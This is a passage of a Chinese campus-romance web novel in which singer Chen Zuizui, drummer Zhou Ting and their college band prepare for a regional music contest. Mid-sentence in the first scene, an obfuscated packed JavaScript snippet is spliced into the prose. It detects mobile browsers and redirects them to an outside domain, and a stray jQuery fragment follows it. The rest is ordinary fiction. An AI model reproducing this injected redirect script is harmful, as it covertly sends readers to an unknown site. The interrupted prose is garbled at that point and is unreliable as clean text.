陈最最聚焦视线盯手机屏幕,显示屏停在一个聊天界面。 一只修长干净的手伸过来,在屏幕上轻轻点了一下,一段有些刺耳的语音就这么放了出来。 “老廷!大事不好了,小学妹嫌弃我们乐队破烂小,要走了!” 是叶斌嗷嗷叫的声音。 “是因为我?”良久,周廷忽然问。 但难怪周廷会这么想,陈最最心虚快速扫了他一眼:“不……不是。”她实在不会说谎,蹩脚地扯了个理由:“是我发错了,要退的是另外一个社团。” 可她除了嗨乐队,其他什么社团都没有加。 ……算了。 她吞了口唾沫,慌忙地点了下语音,“斌哥,对不起,我发错了让你误会了,你当没看见就好。” 叮—— 对面快速又发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072076|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一条语音。 “我靠!什么情况,最最你跟老廷在一起?哦不对,这是老廷手机。唉不是,老廷,你怎么跟最最在一起,你们俩……” 叶斌的话没说完,周廷就把手机拿了回去,熄掉,收进卫衣口袋里。随后直直盯着对面因为撒谎而不敢抬头的人,直到老板娘端了两碗馄饨进来。 馄饨刚出锅,香菜味裹挟着骨汤的香气溢满了这个狭小的屋子。 陈最最盯着碗里的馄饨,雾气打湿了她的卷翘的长睫毛。 馄饨搭配的汤底用的是炖好的骨头汤,时不时就会有一滴油从汤低冒出来,鲜香四溢。确实如周廷说的那样,光看就知道很好吃。 陈最最吃一口就瞟周廷一眼,总要说出口的,她轻咬下唇,“学长......” “嗯……我有话跟你说。” 周廷正敛着眼皮,从碗里挑走一片香菜,闻言悠悠掀眸看她一眼,薄薄的唇角勾起一抹笑,他低下头继续手上的动作,“什么话?” “对不起。” 筷子停在碗口,香菜叶上的一滴油汤滴回碗里,涟漪朝外阔开。 陈最最握着筷子,狠狠捏,越捏越紧:“我为我说过的话道歉,你不是垃圾……”越说,她越不敢看他,声音渐小,“我不知道情况,就乱下定论。这样卑鄙的我,才是个垃圾......” 空气沉默片刻,周廷甫一抬头,抬眉问:“不知道情况?” “嗯。”她肯定,然后痛斥道:“可酒吧就酒吧嘛,为什么要分上下两层,下去还要收费,门票比迪士尼都贵,怎么可能不让人想歪嘛。”陈最最皱眉不满,对上周廷玩味地眼神后,蔫了回去。 “然后呢?” “然后......然后你,”她结巴,“你又,又,又在下面表演,别人还能对你开价......” 周廷放下筷子,好像有些好笑又好气,“所以,你把我想成了牛郎?” “没有!绝对没有!”陈最最急了,啪一声将筷子扔到桌上,五指并拢与眉毛齐平,辩解:“我没有这么想,真的,学长你要相信我!” “哦?那你为什么骂我是垃圾?” “我……”陈最最眨巴眼看他,嘴巴嘟起来,嘴角向下微微颤抖,很奇怪地眼睛慢慢酸了,声音带上啜泣:“我不是跟你道歉了吗?果然还是让你难过了吗?可我不是成心让你这么难过的。对不起......” 眼泪啪嗒啪嗒往下滴。 小姑娘哭了。 周廷想说出口的话瞬间堵在喉咙里,眼睛睁大,眼前的状况他是没想到的。说实话,刚开始他确实有点难受,可现在……他不就逗弄了她两句吗,小姑娘这么较真? 还有,这女人果然都是水做的?怎么眼泪跟大豆一样一滴滴地落,不带停的。 周廷手忙脚乱连抽了好几张纸,坐到陈最最旁边,弯脖子看她,手探前探后,擦也不是不擦也不是。 陈最最抽了一声,抢过他手里的纸巾自己擦。 周廷盯着她看了一会,突然叹气,自言自语:“是我对不起,我不该逗你。瞧,都哭了。” 陈最最没听清,抬头,软声问:“你说什么?”正好对上周廷似笑非笑的眼睛,情绪在决堤边试探,“你还在怪我吗?” 陈最最眼睛又红了,周廷一愣,举双手投降,“我的错我的错。”他双手撑在膝盖上,认真看着她水盈盈的眸,沉默了半晌,一字字说:“我不怪你,我接受你的道歉,我也相信你。” “真的吗?一点都不怪了吗?” “真的。一点都不怪了。”周廷深深吸了口气。 “所以,我们不哭了,好吗?” 12. 她 翌日,陈最最起了个大早,打的士前往市中心,按照与音乐老师约定的时间准时到达了太禾音乐教室。 整个音乐教室有两层,一楼售卖乐器,二楼才是上课的地方。 陈最最的声乐私教是个喜欢扎低马尾,眼睛圆圆,长得很恬静的女人。 路南老师人很温柔,带她练气息,测音准,每一步都很耐心,细致。 中秋加国庆连放八天,陈最最每天打卡连上了七天,才把音准和共鸣练出一点成效出来。 路南夸她有天赋,声音可塑性很强,如果能继续坚持学习,前途不可限量。 陈最最一开始也只是想试试水就报了一个速成课,她虽然确实感觉有了提升,但不怀疑是希望她能交钱报长班,有夸大其词地说。 她倒是不在乎报班的钱,只是收假后她还要上课,训练,音乐教室离学校至少有半个小时路程,她根本没有时间这么折腾的。 陈最最婉拒了路南的报班邀请,拿着硬塞给她的资料走下了楼,却在这时看见了熟人。 “咦?小云?”陈最最有些惊喜地上前。 闻小云在和吧台的招待生沟通着什么,看见她,先是愣了一下,然后迅速把摊开在桌面上的纸收回裤兜里。 “你怎么在这里?”陈最最看了吧台里的王由一眼,“你是来买贝斯的吗?你的贝斯果然坏掉了?” 之前陈最最就听叶斌说过,闻小云练习勤,贝斯隔一阵坏一次。放假前,他就发现闻小云的贝斯音准偏差到不行了。 “不是的,我,我是来修贝斯的。”闻小云说话快但很轻,有点像女孩子。 “为什么要修?”陈最最不解,“你的贝斯那么容易坏肯定是从根上就不行了,直接换一个不是更好?我帮你一起挑?” “不,不用了。”闻小云推了推他鼻子上的黑框眼镜,“我学校还有事情,我先走了。”他抬眼看向王由,交待道:“贝斯麻烦您了,我明天来拿可以吗?”得到王由的肯定后,他匆匆走了。 陈最最呆看他离开,还没反应过来,等想追上去的时候,人已经坐上出租车逃走了。 陈最最站在马路边,被风呼了一脸。 清醒了。 国庆的最后一天,游客返程了,古镇人顿时人去镂空。 空荡的街道边,路牌下,长椅上,原本被人扔了很多奶茶杯和装着没吃完东西的塑料袋,也在第二天晨曦升起的时候被田螺姑娘带走。 人少了,陈最最就很开心,整条小吃街都随便任她挑选。她先是走到古街的尽头,当看见酒馆门上的‘Close’字牌后,她兴致缺缺往回走。 也是,谁家酒馆大中午营业呀。 陈最最爸妈要下午才回到家,中午的饭还得她自己解决。 今天不想吃馄饨,她换了一家看起来还不错的煎饼摊子。第一次吃煎饼,不知道量,点了一个全家福。 等待的过程中,有人轻轻拍了她的肩膀。 陈最最扭头,是周廷酒馆的老板,好像叫刘哥。 刘哥似乎刚起床,头发跟鸡窝一样,胡腮也没修理。这样潮冷的天气里穿着一件背心和大裤衩,人字拖。 “哟?小姑娘?你怎么在这啊儿?”刘哥揶揄,“这么早就来等周廷啊。嘶,”他看天思考,“但他今天好像不来。” “他今天不上班吗?”陈最最眉头微蹙。 “对啊,”刘哥朝她点头,然后用手机扫付款码,朝煎饼摊的老板说:“老板,给我来个全家福,多搁点辣酱。”然后又抬头看陈最最,“你他女朋友,你不知道啊?” 陈最最瞪大眼睛,双手在空中乱晃,“我我我不是他女朋友。” “啊?”刘哥嘴巴张得大大得,想到了什么,呵笑一声,“啧,你们小年轻可真有意思。那你喜欢他吗?” 陈最最:“我……” “哎,”刘哥觑着眼睛,“你别跟我说你不喜欢哦。不喜欢这个点就搁着等人家了,昂?” “我没有在等他,我是回家,我家就住在华苑里。”陈最最脸上冲上一股热,着急辩解。 刘哥没有发现她的不自然,在听到华苑后整个人跟雷劈了一样,呆在原地。 “华...…华苑?”刘哥表情滑稽,“所以前几天你喊的五万,是认真的?靠,他妈周廷那小子跟我说你没钱!” 自顾自咒骂了一顿后,刘哥再次看向陈最最。 陈最最已经拿过已经做好的煎饼,一双湿漉漉的眼睛中布满思虑,她在为巨大的饼发愁。 “那你跟周廷应该是朋友咯?” 好像在她说出她家住在华苑,刘哥就不认为她会喜欢周廷了。 陈最最点点头。 刘哥咬着唇上干裂的死皮,斟酌着,不知道该不该说,纠结过后,还是说了。“小姑娘,既然你跟周廷是朋友,那我就不要脸多说一句,我看你家也挺有钱的,要不你主动借点钱给他?。” 陈最最闻言稍顿,慢慢阖上塑料袋,抬头看他。煎饼的热气顶上口袋,让她指尖也跟着发热。 “借钱?他怎么了?”陈最最脑海里的某个开关啪地打开,试探问道。 刘哥叹气:“他好像是有个重病的奶奶,就在市医院,挺严重的。你要不怕他不还,借点给他帮帮他吧。” 为了帮家人所以拼命赚钱吗? 她似乎……有些可以理解他了。 假期结束后,没能迅速进入学习状态,军事理论课是周一的最后一堂大课,整整一节课她都是昏昏欲睡的。 一下课,就跟挣脱蚕蛹脱茧一样,自由了。 陈最最将要参加三省音乐比赛的事情跟梁嘉说了,特批准她比赛结束前,晚自习可以不用参加。 李思满眼的羡慕与不舍,“最最,你这走了,晚自习我就只能一个人上了,好烦啊。” 哪有什么办法,比起上晚自习不能说话,只能悄咪咪玩手机的无所事事。 陈最最还是更喜欢去乐队的练习室,在那里,哪怕发呆整晚都可以。 吃完晚饭,陈最最朝主教学楼去。 路上遇见彭子涵跟她一道,知道彭子涵对她的意思,从前都会刻意保持距离,以免彭子涵想多。 但今天陈最最心情莫名好,对彭子涵也热情了不少。但当彭子涵非要粘着她,送她到练习室,陈最最就后悔了。 “我到了,”她敷衍着假笑,“拜拜。” “拜拜!”彭子涵笑得灿烂,朝她挥手。 “哎哟妈。”张彡从过道的厕所出来就看见彭子涵孔雀开屏的一幕,“嘛恶心东西糊你爹一脸。” 张彡自打把陈最最从她对象圈划出去后,就恢复了原本的样子,跟陈最最说话也带 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叶斌斜了她一眼,说话的语气跟她哥一模一样:“发什么愣呢你,我跟你说啊,彭子涵那家伙,上大学开始换的女朋友不下十个。” “他开学的时候还跟我抱怨耍朋友又累又费钱,发誓剩下都两年不谈了。欸,结果,这才刚开学多久就看上你了。”叶斌再次苦口婆心,“最最,你可千万不要听那垃圾的胡言乱语啊。” 陈最最揉着自己的嗓子,一愣,不应该是甜言蜜语吗? 不过她还是点了点头,对彭子涵确实没什么感觉,甜言蜜语什么的,陈最最自然也听不进去。 乐队训练,节前叶斌给陈最最的歌曲其他人早就会了,为了展示假期的学习成果,陈最最刻意选了老师着重教过的大歌星秦卿的——《锁》。 叶斌他们很吃她会选这首,这首歌难度非常大,不仅真假音转换多,更是有一段很长的highC,可以说能把这首歌唱下来,并且唱好的人,整个学院掰不出一只指头。 可当她几乎没有失误的唱完一遍,叶斌张彡他们的表情都怔在脸上时,才彻底打破为什么当初周廷坚持让她入队的原因。 叶斌拍手:“哇,最最,才一个假期啊,变这么强的?” 张彡站在他身边,嘴里也啧啧啧,一脸刮目相看,“我算知道老廷为啥执意选你了,敢情这搁毛米洁也唱不出来吧。” 陈最最腼腆笑着,听闻忽而一愣,错愕盯着张彡,双唇微启:“执意选我?” 张彡咬着嘴唇点头,随口道:“对啊,你应该也知道的,我们最开始选上的是另一个学妹。可后来,周廷看了你们的视频,极其坚持,根本不容拒绝,他必须要你。”张彡尾音拉长,语气特别夸张,他耸肩,无奈道:“那他看你跟看宝儿似的,咱仨也只有听他的了。” 一股难言的甜蜜弥漫上陈最最心头,脸上的笑容越发灿烂,原来是周廷先肯定了她。 那……是不是该跟他说一句谢谢呢? 陈最最这么想着,视线极慢的转向周廷在的位置,视线停住,她眼底的欢愉却慢慢消失了。 “......” 周廷不知什么时候开始看着她,目光充满了抑制不住的悲伤。 13. 她 从第一次在布勒山见到他开始,她见过他冷漠的,无奈的,愉悦的,甚至失控暴怒,可她从没见过他露出这样的眼神。 卑微,怯懦,害怕,混作一团凝在眼睛里,像一个处在深渊的人,眺望山崖;像一个被困的溺水者,祈求空气;更像一个虔诚的教徒,亲眼目睹了神明的陨落。 为什么? 是什么事情牵引着他露出这样的情绪? 陈最最不可自制地向他走了一步,用只有自己听得见的声音喊:“周......” 周廷肩膀上突然落下一只黑魆魆的手,拍落了他的神情,也掐断了陈最最的声音。 “不愧是你啊老廷,眼光毒辣。”叶斌沾沾自喜,脑海里幻想某种美妙的未来。 陈最最烦死叶斌了,但根本来不及翻眼皮,她着急寻找周廷的眼睛。 而周廷已经变回往常七分礼貌三分疏离的模样,眼里还是万年不变的隐隐透着一层迷雾,让人怎么都看不透。 她唱功提升,乐队每个人几乎把希望都放到了她身上。 在一个乐队,百变多怪的演奏者必不可少,但决定一个乐队最后会走到何种地步的,主唱的实力,感染力和控场力绝对起着最重要的因素。 过去的十八年,她是家里的小宝,什么事情都轮不到她操心,陈最最从来没有哪一刻觉得自己身上的责任这么重过。为了不辜负大家的期望,她做了一个决定。 陈最最主动联系了路南老师,每天晚上训练结束还有周末的空闲时间,都会去音乐教室。 不过,长期课程有点贵,陈最最的卡还在限额,不得小小地,轻轻地,刷一下陈政聿给她的副卡。 收到短信提醒的陈政聿彼时还在会议桌上,为一个收购案黑脸,低压的会议室,因为一条短信提醒得到暂时的缓期。 陈最最刚下课就被班主任梁嘉交到办公室,在路上,陈最最收到了陈政聿的电话。 她把手机靠近耳畔,夹着嗓子,甜甜道:“哥哥~~怎么啦?” “怎么回事?又惹事了?在哪?” 一连甩过来三个大大的问号,语气还有些瘆人。 不是吧,不就八万块钱嘛,他什么时候这么扣了? “……哥,你公司……倒闭啦?”陈最最小心试探,“要不要,我找爸给你讨点?” 电话那头传来长长的叹气:“陈最最,拜托你咒我点好吧。说说吧,这次什么情况?你的卡呢?” “……限额了。” “买什么东西买限额了?一百万,买地了?” “嗯……差不多吧……买了个小酒馆……” 话筒的另一边沉默了几秒,下一瞬,陈最最果断把手机拿离自己半米远,“陈最最,你胆子大了,敢跑去酒吧?!” 陈最最小心翼翼拿着话筒靠近嘴边,“是酒馆,酒馆。” “……管你酒馆酒吧,哪一家发给我,下午我让人把钱拿回来。” “别啊哥哥。”陈最最撒娇,“我真的很喜欢那家酒馆,拜托你了,哥哥……” 这家酒馆,她必须要买下来! “……” “哥哥~~” 陈政聿最招架不住陈最最撒娇叫哥哥这招,不管什么情况百分百管用。 果然。 “叫什么名字,我去给你跑一趟,别被人骗了……买在你名下,等买好了,跟你说。” “嘻嘻,谢谢哥哥!” 说完,陈政聿很干脆挂了电话。 本来陈最最还在愁怎么找个懂行的帮自己,这下她就放心了。 十分钟后,她站在梁嘉办公室门前,敲响门打开走了进去。 梁嘉:“最最来啦?先坐,等我两分钟昂。” 陈最最点点头,走到沙发旁双腿并拢坐在上边,梁嘉坐在半敞式黑木桌里,从抽屉里扯出一堆资料又放回去,来来回回两三次后,才拿着一张纸走过来。 ? 陈最最有点懵。 梁嘉见她好奇,笑着解释:“别紧张,跟你没多大关系。” 梁嘉在她对面坐了下来,把纸推到面前,“这是李思的助学金同意表,每个室友都要签,你看一下,如果同意就签个名,不同意就写明原因。” 助学金? 陈最最记得李思说过她爸妈是做生意的,常年在国外来着。 她在纸上看了一眼,梁雪荞已经签字了,陈最最也没犹豫,随意扫了,拿起笔签子同意。 离开办公室后,她在食堂吃完饭,回到宿舍的时,李思正好换睡衣准备睡午觉,看见陈最最回来,笑眯眯地问她老班找她什么事情。 陈最最没说,随意找了一个借口,整理了会桌面,突然问向李思:“思思,你爸妈回来了吗?要不我给伯父伯母寄一份中秋礼盒过去吧。” 李思床上的帘子拉得严丝合缝,声音从里面传来:“回来了,不过他们不怎么爱吃月饼。你要是送不完可以拿回宿舍呀,我们一起吃。” “嗯。那我周末回家再带过来吧。” “那我就等着投喂咯,嘻嘻。” 陈最最心里不解,,她不明白李思为什么要对自己的家庭说谎。可能李思自己也想不到,因为助学金的事情,她的谎言被戳穿,自己却还被蒙在鼓里。 天气入秋,树叶发黄。在某天下了一场雨后,寒潮来袭,空气渐冷了。 陈最最彻底脱下了最喜爱的包臀裙,换上短裙丝袜和小香风外套贝雷帽。 往后很长的一段时间,陈最最都在忙碌,因为要抽时间不同地方来回跑,出于安全考虑,在征得陈最最同意后,陈政聿在学校附近给她租了一套小公寓,专属的司机也送给了她。 黎初周末的时候会陪陈最最一起去上课,跟她一起睡公寓。 陈政聿老说:“妹妹长大了。”而黎初总说:“都有黑眼圈了,要不要这么拼啊?” 陈最最不管,只有她知道,每一次训练的时候,周廷他们吃惊的眼神,让她多有成就感。 这种感觉,简直前所未有的好。 正当她上头得一发不可收拾,学习的热情覆水难收的时候,路南上完一节课,仰头喝水的间隙,忽然跟她说:“最最,第一阶段就结束了。我们先停一停,让嗓子休息休息。你不是还有什么比赛吗?等参加完了我们再继续。” 路南说的确实对,陈最最热情虽然越攀越高,但因为天气转冷的原因,嗓子偶尔会发痒,搁置一段时间确实比较好。 十一月初,省联赛第一轮就开始了,每个参赛的学校选出两支乐队晋级,紧接着月中旬市区几所学校再选出三支,进入十二月初的市选拔,来年一月中放假签省决赛,每个省决出八只队伍。 寒假,腊八过后,将会在晋城举行省联赛决赛,名次前三的乐队,不仅可以拿奖金,还可以获得北京帝豪音乐公司的资源,免费制作一首原创歌曲。 一首原创歌曲,对于大部分在追逐音乐道路上的大学生来说,都是可望而不可及的梦想。 这次的竞争,绝对激烈,对手绝对强大。 越靠近开赛,乐队的每个成员越紧张,叶斌和张彡周末也不去酒吧里撩妹了,开始整日整日窝在练习室。 主教学楼E502的办公室里,天未亮就开始响起贝斯鼓镲声。 天黑了,主教学楼整栋楼的灯都已熄灭,但从教学楼前广场上路过的人却总能远远地就看见,西墙五楼的角落亮起的微末一点。 从学校里脱颖而出不难,再怎么说乐队都是正经学音乐的,都是有一首绝活的,总不能比业余还要差。 苏大脱颖而出的两支乐队,还有一支也是音乐学院的,但是是临时组队产赛,整体能力比嗨乐队差了一截。 枫杨区的几所学校,他们也轻轻松松获得了第一名。 其他人还好,似乎见惯了,依旧每天照常训练,没有多开心,仿佛一切早已预料。但陈最最就不一样了,轻松获胜,打败一群不怎么强的对手,让她萌生了不切实际的幻想,觉得自己的能力已经强到令人发指。 所以,除了日常训练之外,陈最最把更多的时间花在了新买的小酒馆上,从把上下楼打通成一个两层小酒馆到改变装修风格,所有的一切她都要亲自去看。 酒馆的负责人还是刘哥,陈最最还在看他找设计师弄出的设计稿时,手机收到一条微信。 【路南:最最,发夹我找到放前台了,你什么时候有空就过来跟王由拿。】 陈最最关熄手机,让刘哥约设计师明天过来再谈。 到太禾音乐教室的时候,刚好下午四点,拿完发夹回去学校吃个饭正好可以赶上乐队的训练。 跟其他音乐教室不同,太禾音乐主要是做音乐而非授课,路南是黎初托关系才替本最最约上的一个十分厉害的老师。所以,哪怕是周末,这里人也很少。 太禾音乐是两层高的小洋房,外墙没有刷漆,红色的瓷砖裸露在外面。 一楼的正面是两块超大的落地玻璃窗和一个黑框玻璃门,楼的外边有一个小花园用铁篱笆围着,从墙角长出的野生爬山虎顺着篱笆一 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她看见陈最最,有些高兴:“咦?来这么快?” 路南只比陈最最大七岁,外表虽然温婉,但性格也是活泼那一卦的,一来二去两人就熟了。 陈最最点头,“正好顺路。”她边说边朝路南走过去,眼睛直勾勾盯着琴房的方向。 也不知道琴房里的人是没注意还是怎么,门没关,露出一条半指宽的缝,外边的人恰好看清里面的钢琴前的一隅。 琴房的顶灯大开,将室内照的没有半块暗处。黑色镜面的钢琴前,坐着一个穿着白衣的女生,头发又直又黑,身段曲线婀娜。 陈最最一直很满意自己的身材,尤其是腰和臀,可琴房里的那个女生,在这两者上,半点也不输她。 而这还不是陈最最最在意的,她更在意的是,女生现在正在奏唱的歌曲——正是《锁》。 转音几乎接近完美,她,比不过。 路南注意到陈最最的目光,也看过去,然后笑了,解释道:“音校的大才女蒋一凡,是我从事这行以来见过的唯二天赋和能力最强的人。” “对了。”路南想起了什么,“我听付文杰说,她好像也参加了你们那个大学生比赛。” 付文杰是太禾音乐教室的另一个男老师。 陈最最眸子一闪,心中腾升起一抹危机感,紧紧盯看路南,跟按了什么开关似地非要追问:“那还有一个是……” 她心中带着点隐约的期待。 “嗤。”路南收回视线,对上陈最最的目光时,噗嗤笑了出来,“不用期待,不是你。” “哦。”陈最最焉,重新看琴房。 路南喵陈最最,看见她撅起的嘴,偷笑:“不开心了?” 陈最最没说话。 路南叹气,拧开保温杯喝了一口热水,望着蒋一凡说道:“每个人的人生都是一座山,有的人呢生下来就在山顶。还有的呢就是有点天赋,付出多少就收获多少,蒋一凡就是这样的人。” 陈最最瘪嘴:“哦。” “也有那种只要稍稍付出一点点,就能登顶的,让人眼红,嫉妒。”路南故意凶狠很眯起眼睛,“老天都追在他们屁股后面喂饭吃的极少数的人。” “你啊……哼,就是这类让人讨厌又羡慕的人。” 陈最最脑子里灵光一闪,嘴角抑制不住的笑,斜瞥路南:“真的啊。” 她眼底荡开一抹笑,可没持续多久,又垮了,喃喃自语道:“但那又怎么样,我现在不还是唱不过她。一个市就出两个队伍,那么多所大学,会不会还有其他队伍也比我们厉害呢……” “嗯?你在说什么?”路南没听清。 “哎呀!”陈最最抬手拍了拍自己的脸,骂道:“陈最最,你太轻敌了!” 路南拿着保温杯愣在原地,眨眨眼,不明白她这是咋了,摇摇头喝了一口水。 直到现在陈最最才反应过来,她这几天状态有多可怕。 她脑袋瓜在想什么啊,竟然还有心思去管装修! 她想到什么,下定决心,猛地抬头盯路南。 “南姐。” 路南还在看蒋一凡,欣赏她曼妙的琴音与歌喉,猛地觉得头皮发麻有不好的预感,她身体后仰半寸,斜看陈最最:“怎,怎么了?” “你最近有时间吗?” “什么意思?” “我想继续……课程。” 14. 她 早八上视唱课,下午练钢琴,短暂晚饭休息时间过后,紧赶慢赶去乐队练习室学习市区赛上比赛的歌曲,最后晚上九点准时到达太禾音乐。 十一点半,才终于结束一天疲忙的生活回到公寓,她不顾形象地四仰八叉缩进沙发里。 “陈最最,是你疯了还是我在做梦。”黎初倒了杯温水放下她脚边的嫩粉色茶几上,“你继续学就算了,你还加课时,不要命啦。你乐队那些男的知不知道你在外面上课,那么晚,也不送一下?还好我明天早上没啥课能能陪陪你。” “他们不知道。”陈最最重重呼了口气,捞过温水喝了一口后闭上眼睛假寐,摆手。 “不行,我要告诉你哥。”黎初觉得不妥当,想着,她拿出手机准备给陈政聿发消息。 陈最最唰地睁眼,眼疾手快把手机抢了过来,压在手肘下面,觑眼:“不许说。” 说完,她一手揉着脖子,慢悠悠喝水。 “这是我自己的事情,不许你告诉哥哥。如果你要是像上次一样背着我悄悄告诉他,导致我不能继续上课的话,我就发誓再也不理你了。” “……” 沉默半晌,黎初叹气,一屁股在陈最最身边坐下来,拧着眉头关心道:“行行行,我不说行了吧我这还不是担心你嘛,你用力过猛嗓子吃得消吗?看你整天都在喝水。” “吃不消也得吃得消,乐队的每个人对我都很好,我很喜欢他们,不想让他们因为我的原因进不了决赛失望。”她边说双手转着透明玻璃杯,捧起又喝了一口,热水下腹,整个人都精神了不少。 “你就硬撑吧。”黎初撑起身子从沙发上站起来准备去洗漱,忽然想起了什么,转回身提醒道:“哦,对了,我逛论坛看见你们学院好像有人阳了,你自己注意啊。” 陈最最重新闭上眼睛躺在沙发里,舒服得不得了,闻言嗯了一声,根本没把这事放心上。 一周后,苏海市十三区的入选大学生乐队聚在苏海市音乐大学市选拔赛,比赛的前四强才能拿到通往省联决赛的门票。 比赛总共分两轮,乐队随机分为三个大组,同一时间内组内进行PK,每个大组决出前二名进行最后的四强争夺赛。 嗨乐队很抽中第一组。 比赛当天,陈最最起了个大早,她昨晚太激动没睡好,头有些昏昏沉沉,嗓子也有点痒。 冲了一杯浓咖啡后,她让司机直接送她到音大。 音大校门口有块写着校名的大石头,她到的时候周廷他们已经等在那里了。 陈最最跟司机告别,拿了提前让他买的一袋瓶装水下车,朝周廷他们跑。 “抱歉,我迟到了吗?”陈最最小喘着气。 “还早呢!我们十二点才上。”张彡搭话,“老廷说先来观战,不然现在叶斌应该在跟床亲热。” 不知是紧张的原因还是其他,对张彡的调侃叶斌不像往常的激烈反嘲,只白了张彡一眼,然后望着路边的梧桐树发呆。 陈最最轻轻咬着下唇瓣,掀开卷翘打理精致的睫毛注视周廷,但周廷没看她,而是低头盯着她手里的购物袋。 顿了几秒,他才抬头,淡淡开口:“人到齐了,进去吧。” 说完,叶斌三人转身,陈最最颔首跟上,她刚走两步,左手上的重量倏然一轻,她猛地意识到什么,回头的时候,措不及防恰好撞进一双天生温情的黑眸中。 他用他特有的如山泉般温润的嗓音,一字一字轻轻说:“给我吧。” 陈最最不自觉屏住呼吸,眼瞳跟着他移,周廷浓密的睫毛微垂,眼尾向上弯起,高耸的鼻梁恰到好处顶起一抹弧度,衬得他眉眼深邃深情款款。 俊俏的脸蛋从左边擦过她的面颊到只剩下一个背影,陈最最从头到尾都愣在原地没动。 直到周廷走出两三米,陈最最才重新继续呼吸。 妖孽啊…… 逢人就说校草周廷,冠绝古今。 陈最最想起黎初说的话,想想她之前还觉得搞笑来着,现在却亲自验证了。 质疑纣王,理解纣王,最后想成为纣王。 花点钱养男人似乎也不是不可以…… …… 比赛进行得很快,一个乐队下去,没空闲多少时间,下一个乐队紧接着上场,在嗨乐队前面还有一个乐队的时候,负责的同学让他们到后场间等待,候场间里有一套完整的乐器提供给每支队伍进行上场前的适应练习。 第一次上比赛,便撞上了这么重要的。 候场间四周期禁闭无窗,陈最最一进去,就觉得胸口闷得喘不上气,放松的心情一下子绷紧,四肢也变得有些僵硬。 开完嗓,她双腿并膝小口小口呷水喝,泛着水光的指甲捻着喉咙,缓解里面传来的沙哑感。 周廷坐在鼓前活动手腕,鼓手与其他成语不一样,只要鼓的位置按照自己习惯的摆放,赛前也未必需要怎么练手。 周廷简单试了几个鼓点热热手后,空了下来,他捏着左手的大鱼际,无意间抬眼间,似乎察觉到了她的紧张。 看了一眼身后跟吃饭喝水一样自然,已经玩起来的三个人,周廷眼底闪过无奈之色,他从鼓前离开,走到陈最最身前蹲下。 周廷187的个子,他单膝蹲着正好能与她平视。 “紧张?”他没什么情绪地问。 陈最最还沉浸在自己的世界里,身前忽然落下一片阴影,她抬颚,自然对上周廷漆黑入渊眼瞳。 陈最最也不矫情,很老实点了点头。 叶斌他们在谈不成曲调的音,明明很吵,陈最最却还是听见了周廷绵长的呼吸声。 “爱吃糖吗?”他问。 陈最最初听,只是呆呆地看她,没说话,却已经告诉了答案。 周廷嘴角轻勾,曲手从黑色的冲锋衣口袋里拿扯出一盒彩虹硬糖。 他把盒子弹开,伸到她面前,眼神示意她自己选一颗。 里面什么味道的都有,薄荷味的最多。陈最最选了一颗草莓味的,在周廷注视下打开包装放进嘴里。 似乎是吃了甜的心情就会变好,甜意在她的口腔里一圈圈弥消,令她心情也跟着放松了。 “感觉好一点了吗?” “嗯。”她捏着糖纸乖巧看他,小声嗫嚅:“谢谢。” 周廷没所谓笑了下,撑着膝盖,重新走回鼓前。 两分钟后,工作人员叫他们上台了。 从上台调试乐器,试音到正是表演花了三分钟。 这三分钟里,陈最最握着麦不停吞咽口水,台下零零散散坐着很多人,有观众大多都是参加的乐队。 位置最前的一排坐着七个评委,不苟言笑,陈最最圆眼轱辘转和其中几个对上,哪怕对面的人朝她笑,陈最最也头皮发凉。 “咚——”长而闷的鼓声响起,周廷敲了军鼓—— 他们已经准备好了。 陈最最重重吐了口气,眼神示意台下最左侧的工作人员,后者拿起对讲机说了什么,全场忽然默契地寂静下来。 空气沉寂了约有十秒。 一阵三重循环的吉他空弹一圈比一圈渐高,在最后一次循环结束的那刹,舒缓的贝斯,琴声,慢奏的鼓点纷至沓来。 “嚓——” 周廷踩镲,他在提醒她,该进了。 练习无数次的默契,陈最最在他镲声渐弱,伴奏进入某个节点的时候准确无语进歌。 她的歌声悠远,向远山之外寺庙的钟声,一圈圈激荡,惊醒深林里沉寂的夜莺,抚平石林中激战的猛兽。 歌声如绚烂的彩虹从她嘴里溢出,嗓音似冬日的暖阳一般沁人心脾。 比赛的礼堂很大,她的歌声在里边回响,无限长,无限远。狂风挡不住大雁的迁徙,正如手没法阻挡声音传到耳膜。 一曲毕,礼堂响起轰鸣的掌声。 即使陈最最稳定发挥了,但评委打分依旧褒贬不一,高的九点几,低的六点几。综合下来,嗨乐队的分数还不错,每组出四支队伍出线,他们目前排在第三。 陈最最下台后有些不开心,坐在位置上低着头不说话。 主办方给他们买了饭,中午短暂地休息过后继续。 陈最最选了一份肉沫茄子,但她吃不下,挑着里面本就不多的肉捡来捡去。 叶斌拿水的间隙,瞥她,“你跟茄子祖宗是情敌啊?” 一次性打包盒里,成块的茄子被她搓烂,看起来有点恶心。 陈最最掀眼看他,明显一幅不开心的样子,肉嘟嘟的脸,麋鹿般水润的眼睛。 “……”叶斌眉心一跳,心里大叫不妙,晃了晃脑袋清心净欲后,问她:“你咋啦?” “……我是不是没发挥好?”她眼睛猛的一下,红了。 “啊?”叶斌不知所措一脸紧张地放下水,张彡和闻小文上厕所去了,周廷被人工作人员叫出去说话,他没遇到这种情况,一时手脚都不知道往哪里放,“你咋这么想?你发挥得非常好啊。” “真的吗?” 陈最最觉得他一定是在安慰自己,如果发挥得好为什么不是第一名。 “昂!”叶斌肯定点头。 “那为什么我们分数那么低。” 叶斌在座位上坐直,“不低啊,挺不错了,那么多队我们排第三诶。” 他继续安慰:“而且,咱们这次打破常规不搞摇滚搞抒情,除非是那些牛掰得鼻孔嘲天的神人来唱。本来唱抒情的乐队本来就褒贬不一。歌是我们一起选的,你也不用把责任都归在自己身上昂。” 她追问:“那万一……万一我一直学不会摇滚呢?” 叶斌很平静地看她,几秒后,嗐了一声,“这有什么。你是老廷选进来的,我相信他。他信你能行,我就信你一定OK的啦。” 